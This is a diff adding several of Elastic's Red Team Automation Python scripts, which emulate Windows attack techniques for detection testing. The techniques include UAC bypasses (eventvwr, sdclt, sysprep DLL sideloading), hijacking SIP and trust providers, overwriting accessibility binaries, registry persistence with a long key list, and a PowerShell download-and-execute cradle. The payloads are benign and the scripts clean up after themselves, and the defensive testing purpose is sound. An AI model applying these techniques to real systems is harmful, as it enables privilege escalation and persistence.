common.log("Writing dummy shortcut file")
|
||||
shortcut_path = 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk'
|
||||
common.execute(['cmd', '/c', 'echo', 'dummy_shortcut', '>', shortcut_path])
|
||||
|
||||
common.log("Deleting dummy shortcut file")
|
||||
common.remove_file(shortcut_path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,62 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: SIP Provider Modification
|
||||
# RTA: sip_provider.py
|
||||
# ATT&CK: TBD
|
||||
# Description: Registers a mock SIP provider to bypass code integrity checks and execute mock malware.
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
CRYPTO_ROOT = "SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0"
|
||||
VERIFY_DLL_KEY = "%s\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT
|
||||
GETSIG_KEY = "%s\\CryptSIPDllGetSignedDataMsg\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT
|
||||
|
||||
|
||||
def register_sip_provider(dll_path, verify_function, getsig_function):
|
||||
winreg = common.get_winreg()
|
||||
hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, VERIFY_DLL_KEY)
|
||||
|
||||
common.log("Setting verify dll path: %s" % dll_path)
|
||||
winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path)
|
||||
|
||||
common.log("Setting verify function name: %s" % verify_function)
|
||||
winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, verify_function)
|
||||
|
||||
hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, GETSIG_KEY)
|
||||
|
||||
common.log("Setting getsig dll path: %s" % dll_path)
|
||||
winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path)
|
||||
|
||||
common.log("Setting getsig function name: %s" % getsig_function)
|
||||
winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, getsig_function)
|
||||
|
||||
|
||||
if common.is_64bit():
|
||||
SIGCHECK = common.get_path("bin", "sigcheck64.exe")
|
||||
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll")
|
||||
else:
|
||||
SIGCHECK = common.get_path("bin", "sigcheck32.exe")
|
||||
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll")
|
||||
|
||||
TARGET_APP = common.get_path("bin", "myapp.exe")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP)
|
||||
def main():
|
||||
common.log("Registering SIP provider")
|
||||
register_sip_provider(TRUST_PROVIDER_DLL, "VerifyFunction", "GetSignature")
|
||||
|
||||
common.log("Launching sigcheck")
|
||||
common.execute([SIGCHECK, "-accepteula", TARGET_APP])
|
||||
|
||||
common.log("Cleaning up", log_type="-")
|
||||
wintrust = "C:\\Windows\\System32\\WINTRUST.dll"
|
||||
register_sip_provider(wintrust, "CryptSIPVerifyIndirectData", "CryptSIPGetSignedDataMsg")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,34 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Outbound SMB from a User Process
|
||||
# RTA: smb_connection.py
|
||||
# ATT&CK: T1105
|
||||
# Description: Initiates an SMB connection to a target machine, without going through the normal Windows APIs.
|
||||
|
||||
import socket
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
SMB_PORT = 445
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main(ip=None):
|
||||
ip = ip or common.get_ip()
|
||||
|
||||
# connect to rpc
|
||||
common.log("Connecting to {}:{}".format(ip, SMB_PORT))
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((ip, 445))
|
||||
common.log("Sending HELLO")
|
||||
s.send(b"HELLO!")
|
||||
common.log("Shutting down the conection...")
|
||||
s.close()
|
||||
common.log("Closed connection to {}:{}".format(ip, SMB_PORT))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,51 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Overwrite Accessibiity Binaries
|
||||
# RTA: sticky_keys_write_execute.py
|
||||
# ATT&CK: T1015
|
||||
# Description: Writes different binaries into various accessibility locations.
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
# Prep
|
||||
bins = ["sethc.exe", "utilman.exe", "narrator.exe", "magnify.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"]
|
||||
calc = os.path.abspath("\\windows\\system32\\calc.exe")
|
||||
temp = os.path.abspath("temp.exe")
|
||||
|
||||
# loop over bins
|
||||
for bin_name in bins:
|
||||
|
||||
bin_path = os.path.abspath("\\Windows\\system32\\" + bin_name)
|
||||
|
||||
# Back up bin
|
||||
common.copy_file(bin_path, temp)
|
||||
|
||||
# Change Permissions to allow modification
|
||||
common.execute(["takeown", "/F", bin_path, "/A"])
|
||||
common.execute(["icacls", bin_path, "/grant", "Administrators:F"])
|
||||
|
||||
# Copy Calc to overwrite binary, then run it
|
||||
common.copy_file(calc, bin_path)
|
||||
common.execute(bin_path, kill=True, timeout=1)
|
||||
|
||||
# Restore Original File and Permissions on file
|
||||
common.copy_file(temp, bin_path)
|
||||
common.execute(["icacls", bin_path, "/setowner", "NT SERVICE\\TrustedInstaller"])
|
||||
common.execute(["icacls", bin_path, "/grant:r", "Administrators:RX"])
|
||||
common.remove_file(temp)
|
||||
|
||||
# Cleanup
|
||||
time.sleep(2)
|
||||
common.execute(["taskkill", "/F", "/im", "calculator.exe"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,21 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Suspicious DLL Registration by Regsvr32
|
||||
# RTA: suspicious_dll_registration_regsvr32.py
|
||||
# ATT&CK: T1117
|
||||
# Description: Pretends to register DLL without traditional DLL extension using RegSvr32
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Suspicious DLL Registration by Regsvr32")
|
||||
|
||||
common.execute(["regsvr32.exe", "-s", "meow.txt"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,37 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Emulate Suspect MS Office Child Processes
|
||||
# RTA: suspect_office_children.py
|
||||
# ATT&CK: T1064
|
||||
# Description: Generates network traffic various children processes from emulated Office processes.
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
from . import mshta_network
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
mshta_path = os.path.abspath(mshta_network.__file__.replace(".pyc", ".py"))
|
||||
|
||||
cmd_path = "c:\\windows\\system32\\cmd.exe"
|
||||
binaries = ["adobe.exe", "winword.exe", "outlook.exe", "excel.exe", "powerpnt.exe"]
|
||||
for binary in binaries:
|
||||
common.copy_file(cmd_path, binary)
|
||||
|
||||
# Execute a handful of commands
|
||||
common.execute(["adobe.exe", "/c", "regsvr32.exe", "/s", "/?"], timeout=5, kill=True)
|
||||
common.execute(["winword.exe", "/c", "certutil.exe"], timeout=5, kill=True)
|
||||
common.execute(["outlook.exe", "/c", "powershell.exe", "-c", "whoami"], timeout=5, kill=True)
|
||||
common.execute(["excel.exe", "/c", "cscript.exe", "-x"], timeout=5, kill=True)
|
||||
# Test out ancestry for mshta
|
||||
common.execute(["powerpnt.exe", "/c", mshta_path])
|
||||
|
||||
common.remove_files(*binaries)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,47 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Emulate Suspect MS Office Child Processes
|
||||
# RTA: suspect_office_children.py
|
||||
# ATT&CK: T1064
|
||||
# Description: Generates various children processes from emulated Office processes.
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("MS Office unusual child process emulation")
|
||||
suspicious_apps = [
|
||||
"msiexec.exe /i blah /quiet",
|
||||
"powershell.exe exit",
|
||||
"wscript.exe //b",
|
||||
]
|
||||
cmd_path = "c:\\windows\\system32\\cmd.exe"
|
||||
browser_path = os.path.abspath("firefox.exe")
|
||||
common.copy_file(cmd_path, browser_path)
|
||||
|
||||
for office_app in ["winword.exe", "excel.exe"]:
|
||||
|
||||
common.log("Emulating %s" % office_app)
|
||||
office_path = os.path.abspath(office_app)
|
||||
common.copy_file(cmd_path, office_path)
|
||||
|
||||
for command in suspicious_apps:
|
||||
common.execute('%s /c %s /c %s' % (office_path, browser_path, command), timeout=5, kill=True)
|
||||
|
||||
common.log('Cleanup %s' % office_path)
|
||||
common.remove_file(office_path)
|
||||
|
||||
common.log("Sleep 5 to allow processes to finish")
|
||||
time.sleep(5)
|
||||
common.log('Cleanup %s' % browser_path)
|
||||
common.remove_file(browser_path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,40 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Suspicious PowerShell Download
|
||||
# RTA: suspicious_powershell_download.py
|
||||
# ATT&CK: T1086
|
||||
# Description: PowerShell using DownloadString or DownloadFile in suspicious context
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
cmd_path = "c:\\windows\\system32\\cmd.exe"
|
||||
server, ip, port = common.serve_web()
|
||||
url = 'http://{}:{}/bad.ps1'.format(ip, port)
|
||||
|
||||
cmds = ["powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url),
|
||||
"powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')".format(url)]
|
||||
|
||||
# emulate word and chrome
|
||||
for user_app in ["winword.exe", "chrome.exe"]:
|
||||
common.log("Emulating {}".format(user_app))
|
||||
user_app_path = os.path.abspath(user_app)
|
||||
common.copy_file(cmd_path, user_app_path)
|
||||
|
||||
for cmd in cmds:
|
||||
common.execute([user_app_path, "/c", cmd])
|
||||
time.sleep(2)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(user_app_path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,42 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Suspicious WMIC script execution
|
||||
# RTA: suspicious_wmic_script.py
|
||||
# Description: Uses the WMI command-line utility to execute built-in Windows commands which are unusual or unexpected.
|
||||
# Reference: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
xsl_file = "test.xsl"
|
||||
xsl_content = """<?xml version='1.0'?>
|
||||
<stylesheet
|
||||
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
|
||||
xmlns:user="placeholder"
|
||||
version="1.0">
|
||||
<output method="text"/>
|
||||
<ms:script implements-prefix="user" language="JScript">
|
||||
<![CDATA[
|
||||
var r = new ActiveXObject("WScript.Shell").Run("ipconfig.exe");
|
||||
]]> </ms:script>
|
||||
</stylesheet>
|
||||
"""
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Executing suspicious WMIC script")
|
||||
|
||||
with open(xsl_file, "w") as f:
|
||||
f.write(xsl_content)
|
||||
|
||||
# Many variations on this command. For example, -format:, / format : , etc
|
||||
common.execute(["wmic.exe", "os", "get", "/format:" + xsl_file])
|
||||
|
||||
os.remove(xsl_file)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,47 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Suspicious WScript parent
|
||||
# RTA: suspicious_wscript_parent.py
|
||||
# ATT&CK: T1064, T1192, T1193
|
||||
# Description: WScript run with suspicious parent processes
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
script_data = """
|
||||
WScript.CreateObject("wscript.shell")
|
||||
"""
|
||||
script_path = ".\\hello.vbs"
|
||||
with open(script_path, 'w') as f:
|
||||
f.write(script_data)
|
||||
|
||||
cmd_path = "c:\\windows\\system32\\cmd.exe"
|
||||
|
||||
for application in ["outlook.exe", "explorer.exe", "chrome.exe", "firefox.exe"]:
|
||||
common.log("Emulating %s" % application)
|
||||
app_path = os.path.abspath(application)
|
||||
common.copy_file(cmd_path, app_path)
|
||||
|
||||
common.execute([app_path, "/c", "wscript.exe", "script_path"], timeout=1, kill=True)
|
||||
|
||||
common.log("Killing wscript window")
|
||||
common.execute('taskkill /IM wscript.exe')
|
||||
|
||||
common.log('Cleanup %s' % app_path)
|
||||
common.remove_file(app_path)
|
||||
|
||||
common.log("Sleep 5 to allow procecsses to finish")
|
||||
time.sleep(5)
|
||||
common.log('Cleanup %s' % script_path)
|
||||
common.remove_file(script_path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,42 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Process Execution in System Restore
|
||||
# RTA: system_restore_process.py
|
||||
# ATT&CK: T1158
|
||||
# Description: Copies mock malware into the System Volume Information directory and executes.
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
SYSTEM_RESTORE = "c:\\System Volume Information"
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(common.PS_EXEC)
|
||||
def main():
|
||||
status = common.run_system()
|
||||
if status is not None:
|
||||
return status
|
||||
|
||||
common.log("System Restore Process Evasion")
|
||||
program_path = common.get_path("bin", "myapp.exe")
|
||||
common.log("Finding a writeable directory in %s" % SYSTEM_RESTORE)
|
||||
target_directory = common.find_writeable_directory(SYSTEM_RESTORE)
|
||||
|
||||
if not target_directory:
|
||||
common.log("No writeable directories in System Restore. Exiting...", "-")
|
||||
return common.UNSUPPORTED_RTA
|
||||
|
||||
target_path = os.path.join(target_directory, "restore-process.exe")
|
||||
common.copy_file(program_path, target_path)
|
||||
common.execute(target_path)
|
||||
|
||||
common.log("Cleanup", log_type="-")
|
||||
common.remove_file(target_path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,50 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Trust Provider Modification
|
||||
# RTA: trust_provider.py
|
||||
# ATT&CK: T1116
|
||||
# Description: Substitutes an invalid code authentication policy, enabling trust policy bypass.
|
||||
|
||||
from . import common
|
||||
|
||||
FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501
|
||||
|
||||
|
||||
def set_final_policy(dll_path, function_name):
|
||||
winreg = common.get_winreg()
|
||||
hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, FINAL_POLICY_KEY)
|
||||
|
||||
common.log("Setting dll path: %s" % dll_path)
|
||||
winreg.SetValueEx(hkey, "$DLL", 0, winreg.REG_SZ, dll_path)
|
||||
|
||||
common.log("Setting function name: %s" % function_name)
|
||||
winreg.SetValueEx(hkey, "$Function", 0, winreg.REG_SZ, function_name)
|
||||
|
||||
|
||||
if common.is_64bit():
|
||||
SIGCHECK = common.get_path("bin", "sigcheck64.exe")
|
||||
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll")
|
||||
else:
|
||||
SIGCHECK = common.get_path("bin", "sigcheck32.exe")
|
||||
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll")
|
||||
|
||||
TARGET_APP = common.get_path("bin", "myapp.exe")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP)
|
||||
def main():
|
||||
common.log("Trust Provider")
|
||||
set_final_policy(TRUST_PROVIDER_DLL, "FinalPolicy")
|
||||
|
||||
common.log("Launching sigcheck")
|
||||
common.execute([SIGCHECK, "-accepteula", TARGET_APP])
|
||||
|
||||
common.log("Cleaning up")
|
||||
set_final_policy("C:\\Windows\\System32\\WINTRUST.dll", "SoftpubAuthenticode")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,44 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Bypass UAC via Event Viewer
|
||||
# RTA: uac_eventviewer.py
|
||||
# ATT&CK: T1088
|
||||
# Description: Modifies the Registry value to change the handler for MSC files, bypassing UAC.
|
||||
|
||||
import sys
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
# Default machine value:
|
||||
# HKLM\Software\Classes\MSCFile\shell\open\command\(Default)
|
||||
# %SystemRoot%\system32\mmc.exe "%1" %*
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main(target_file=common.get_path("bin", "myapp.exe")):
|
||||
winreg = common.get_winreg()
|
||||
common.log("Bypass UAC with %s" % target_file)
|
||||
|
||||
common.log("Writing registry key")
|
||||
hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\Classes\\MSCFile\\shell\\open\\command")
|
||||
winreg.SetValue(hkey, "", winreg.REG_SZ, target_file)
|
||||
|
||||
common.log("Running event viewer")
|
||||
common.execute(["c:\\windows\\system32\\eventvwr.exe"])
|
||||
|
||||
time.sleep(3)
|
||||
common.log("Killing MMC", log_type="!")
|
||||
common.execute(['taskkill', '/f', '/im', 'mmc.exe'])
|
||||
|
||||
common.log("Restoring registry key", log_type="-")
|
||||
winreg.DeleteValue(hkey, "")
|
||||
winreg.DeleteKey(hkey, "")
|
||||
winreg.CloseKey(hkey)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,41 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Bypass UAC via Sdclt
|
||||
# RTA: uac_sdclt.py
|
||||
# ATT&CK: T1088
|
||||
# Description: Modifies the Registry to auto-elevate and execute mock malware.
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
# HKCU:\Software\Classes\exefile\shell\runas\command value: IsolatedCommand
|
||||
# "sdclt.exe /KickOffElev" or children of sdclt.exe
|
||||
# HKLM value: "%1" %*
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main(target_process=common.get_path("bin", "myapp.exe")):
|
||||
target_process = os.path.abspath(target_process)
|
||||
|
||||
common.log("Bypass UAC via Sdclt to run %s" % target_process)
|
||||
|
||||
key = "Software\\Classes\\exefile\\shell\\runas\\command"
|
||||
value = "IsolatedCommand"
|
||||
|
||||
with common.temporary_reg(common.HKCU, key, value, target_process):
|
||||
common.log("Running Sdclt to bypass UAC")
|
||||
common.execute([r"c:\windows\system32\sdclt.exe", "/KickOffElev"])
|
||||
|
||||
time.sleep(2)
|
||||
common.log("Killing the Windows Backup program sdclt", log_type="!")
|
||||
common.execute(['taskkill', '/f', '/im', 'sdclt.exe'])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,24 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Bypass UAC via Sysprep
|
||||
# RTA: uac_sysprep.py
|
||||
# ATT&CK: T1088
|
||||
# Description: Use CRYPTBASE.dll opportunity to do Dll Sideloading with SysPrep for a UAC bypass
|
||||
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Bypass UAC with CRYPTBASE.dll")
|
||||
|
||||
common.copy_file("C:\\windows\\system32\\kernel32.dll", "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")
|
||||
common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True)
|
||||
common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,73 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Uncommon Registry Persistence Change
|
||||
# RTA: uncommon_persistence.py
|
||||
# ATT&CK: T1112
|
||||
# Description: Modifies the Registry for Logon Shell persistence using a mock payload.
|
||||
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
# There are many unconventional ways to leverage the Registry for persistence:
|
||||
|
||||
'''
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\IconServiceLib" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AppSetup" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Taskman" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\VmApplet" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell" or
|
||||
key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script" or
|
||||
key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script" or
|
||||
key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script" or
|
||||
key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\*\\ShellComponent" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnConnect\\MicrosoftActiveSync" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnDisconnect\\MicrosoftActiveSync" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\*" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\VerifierDlls" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GpExtensions\\*\\DllName" or
|
||||
key_path == "*\\SOFTWARE\\Microsoft\\Office Test\\Special\\Perf\\" or
|
||||
(key_path == "*\\System\\ControlSet*\\Control\\SafeBoot\\AlternateShell" and bytes_written_string != "cmd.exe") or
|
||||
key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\Wds\\rdpwd\\StartupPrograms" or
|
||||
key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\InitialProgram" or
|
||||
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\BootExecute" or
|
||||
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\SetupExecute" or
|
||||
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\Execute" or
|
||||
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\S0InitialCommand" or
|
||||
key_path == "*\\System\\ControlSet*\\Control\\ServiceControlManagerExtension" or
|
||||
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\AppCertDlls\\*" or
|
||||
key_path == "*\\System\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath" or
|
||||
key_path == "*\\System\\Setup\\CmdLine"
|
||||
)
|
||||
''' # noqa: E501
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main(target="calc.exe"):
|
||||
winreg = common.get_winreg()
|
||||
hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon")
|
||||
|
||||
common.log("Setting reg key")
|
||||
winreg.SetValueEx(hkey, "Userinit", 0, winreg.REG_SZ, target)
|
||||
|
||||
common.log("Setting reg key", log_type="-")
|
||||
winreg.DeleteValue(hkey, "Userinit")
|
||||
winreg.CloseKey(hkey)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[:1]))
|
||||
@@ -0,0 +1,56 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Unexpected Network Activity from Microsoft Tools
|
||||
# RTA: unusual_ms_tool_network.py
|
||||
# ATT&CK: T1127
|
||||
# Description: Creates network traffic from a process which is named to match common administration and developer tools
|
||||
# that do not typically make network traffic unless being used maliciously.
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
if sys.version_info > (3,):
|
||||
urlliblib = "urllib.request"
|
||||
else:
|
||||
urlliblib = "urllib"
|
||||
|
||||
process_names = [
|
||||
"bginfo.exe",
|
||||
"msdt.exe",
|
||||
"ieexec.exe",
|
||||
"cdb.exe",
|
||||
"dnx.exe",
|
||||
"rcsi.exe",
|
||||
"csi.exe",
|
||||
"cmstp.exe",
|
||||
"xwizard.exe",
|
||||
"fsi.exe",
